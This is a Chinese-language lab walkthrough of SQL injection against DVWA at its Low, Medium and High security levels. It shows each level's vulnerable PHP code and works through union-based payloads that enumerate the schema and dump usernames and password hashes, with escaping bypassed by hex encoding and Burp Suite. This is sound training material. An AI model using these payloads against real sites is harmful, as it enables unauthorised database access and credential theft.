会在疑似注入点的地方或者参数后面尝试提交数据,从而进行判断是否存在SQL注入漏洞。
步骤 | 测试数据 | 测试判断 |
---|---|---|
1 | -1或+1 | 是否能够回显上一个或下一个页面(判断是否有回显) |
2 | ’ 或 " | 是否显示数据库错误信息; 根据回显内容可以判断是字符型还是数字型 |
3 | and1=1 and1=2 | 回显的页面是否不同(布尔类型的状态) |
4 | and sleep(5) | 判断页面的返回时间 |
5 | \ | 判断转义 |
主要关注问题 | 解释 |
---|---|
回显 | 数据库中的内容是否会回显在网页中 |
数据库报错 | 数据库报错信息是否会回显在网页中 提交的数据是字符型还是数字型,如果是字符型,闭合方式是什么? |
布尔类型状态 | 显示的页面不同,形成对比。页面正常或不正常 |
延时 | 让数据库沉睡相应的秒数 |
查看源代码
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>
First name: {$first}
Surname: {$last}
判断注入类型,是数字型注入,还是字符型注入。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
发现有数据提交框,输入’查看回显
再次输入1’ and ‘1’=‘1和1’ and ‘1’='2进行判断。
输入1’ and ‘1’='2时报错。
有回显有报错尝试使用联合查询,先判断字段数
1' order by 1#
1' order by 2#
1' order by 3#
当查询到第三列时报错,证明有两字段
说明:ORDER BY n 表示,以“第n个字段”排序。
使用union select进行查询当前数据库和用户
1' union select database(),user() #
当前网站使用数据库为 dvwa 。
当前执行查询用户名为 root@localhost 。
1’ union select version(),@@version_compile_os#
因为数据库中information_schema 是元数据数据库(库名、表名、列名)其中保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa' #
dvwa中两张表:guestbook表和users表
information_schema.columns
是一个包含关于数据库表中所有列(字段)的元数据信息的表。
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
1' union select user,password from dvwa.users #
查看源代码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( ''
. mysqli_error($GLOBALS["___mysqli_ston"]) . '
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}"; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
First name: {$first}
Surname: {$last}
'. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?>
加入了一个下拉选项框,无法输入要查询的内容,只能选择1-5,且对单引号进行了过滤,并且使用转义预防SQL注入。
绕过措施是用burpsuite抓包。然后按照上面的sql注入流程一步步修改id来重新发包更新数据,直到获取管理员账户和密码。
输入1’ ,报错并且得知是数字型
判断字段数
同Low等级方式一样
id=1 order by 2#&Submit=Submit
但是为保险使用url编码进行编码
可知有三个字段
union select database(),version() #
数据库名:dvwa
union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#
因为源代码将单引号做了转义,所以Low等级中table_schema='dvwa’更换为table_schema=database()或者将dvwa进行十六进制转换
得到表名:guestbook表和users表
因为源代码将单引号做了转义,将users进行十六进制转换
union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273
union select user,password from dvwa.users
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( 'Something went wrong.
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}
First name: {$first}
Surname: {$last}
";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
可以看到添加了limit 1 做限制,说明扫出一个结果就不向下扫描了,只输出一个结果。
而且查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入(自动化注入),因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。
输入1
输入1’and’1’='1
输入1’and’1’=‘1’
断定是字符型注入
判断字段数
说明有两字段
1' union select 1,database() #
得到数据库名:dvwa
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
获得表名:guestbook表和users表
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
1' union select user,password from users #